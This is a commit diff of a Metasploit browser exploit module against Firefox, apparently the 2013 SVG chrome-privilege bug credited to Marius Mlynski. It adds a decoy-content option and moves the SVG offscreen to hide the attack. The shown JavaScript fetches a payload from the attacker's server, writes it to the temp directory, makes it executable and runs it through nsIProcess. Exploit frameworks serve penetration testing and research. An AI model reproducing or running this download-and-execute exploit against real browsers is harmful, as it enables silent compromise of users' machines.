@@ -71,8 +71,9 @@ def initialize(info = {})
71
71
'DefaultTarget' => 0 ,
72
72
'Author' =>
73
73
[
74
- 'joev' , # metasploit module
75
- 'Marius Mlynski' # discovery & bug report
74
+ 'Marius Mlynski' , # discovery & bug report
75
+ 'joev' # metasploit module
76
+
76
77
] ,
77
78
'References' =>
78
79
[
@@ -83,6 +84,12 @@ def initialize(info = {})
83
84
] ,
84
85
'DisclosureDate' => 'Jan 08 2013'
85
86
) )
87
+
88
+ register_options (
89
+ [
90
+ OptString . new ( 'CONTENT' , [ false , "Content to display inside the HTML <body>." , '' ] )
91
+ ] , Auxiliary ::Timed )
92
+
86
93
end
87
94
88
95
def on_request_uri ( cli , request )
@@ -105,7 +112,7 @@ def on_request_uri(cli, request)
105
112
else
106
113
# send initial HTML page
107
114
print_status ( "Sending #{ self . name } " )
108
- send_response_html ( cli , generate_html , { 'Content-Type' => 'text/html' } )
115
+ send_response_html ( cli , generate_html )
109
116
end
110
117
handler ( cli )
111
118
end
@@ -153,12 +160,11 @@ def js_payload
153
160
x.send(null);
154
161
alert(x.responseText);
155
162
var file = Components.classes["@mozilla.org/file/directory_service;1"]
156
- .getService(Components.interfaces.nsIProperties)
157
- .get("TmpD", Components.interfaces.nsIFile);
163
+ .getService(Components.interfaces.nsIProperties)
164
+ .get("TmpD", Components.interfaces.nsIFile);
158
165
file.append('#{ payload_filename } ');
159
-
160
- var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"].
161
- createInstance(Components.interfaces.nsIFileOutputStream);
166
+ var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"]
167
+ .createInstance(Components.interfaces.nsIFileOutputStream);
162
168
stream.init(file, 0x04 \| 0x08 \| 0x20, 0666, 0);
163
169
stream.write(x.responseText, x.responseText.length);
164
170
if (stream instanceof Components.interfaces.nsISafeOutputStream) {
@@ -169,7 +175,7 @@ def js_payload
169
175
#{ chmod_code }
170
176
alert(file.path);
171
177
var process = Components.classes["@mozilla.org/process/util;1"]
172
- .createInstance(Components.interfaces.nsIProcess);
178
+ .createInstance(Components.interfaces.nsIProcess);
173
179
process.init(file);
174
180
process.run(false,[],0);
175
181
|
@@ -204,18 +210,18 @@ def generate_html
204
210
:access_string => 'access' ,
205
211
:frame_ref => 'frames[0]' ,
206
212
:frame_name => 'n' ,
207
- :loader_path => "#{ base_url } .swf"
213
+ :loader_path => "#{ base_url } .swf" ,
214
+ :content => self . datastore [ 'CONTENT' ] || ''
208
215
}
209
216
%Q|
210
217
<!doctype html>
211
218
<html>
212
219
<head>
213
- <meta http-equiv="content-type" content="text/html; charset=utf-8">
214
220
<base href="chrome://browser/content/">
215
221
</head>
216
222
<body>
217
223
218
- <svg>
224
+ <svg style='position: absolute;top:-500px;left:-500px;width:1px;height:1px' >
219
225
<symbol id="#{ vars [ :symbol_id ] } ">
220
226
<foreignObject>
221
227
<object></object>
@@ -250,7 +256,8 @@ def generate_html
250
256
</script>
251
257
252
258
<iframe style="position:absolute;top:-500px;left:-500px;width:1px;height:1px"
253
- name="#{ vars [ :frame_name ] } "></iframe>
259
+ name="#{ vars [ :frame_name ] } "></iframe>
260
+ #{ vars [ :content ] }
254
261
</body>
255
262
</html>
256
263
|
0 commit comments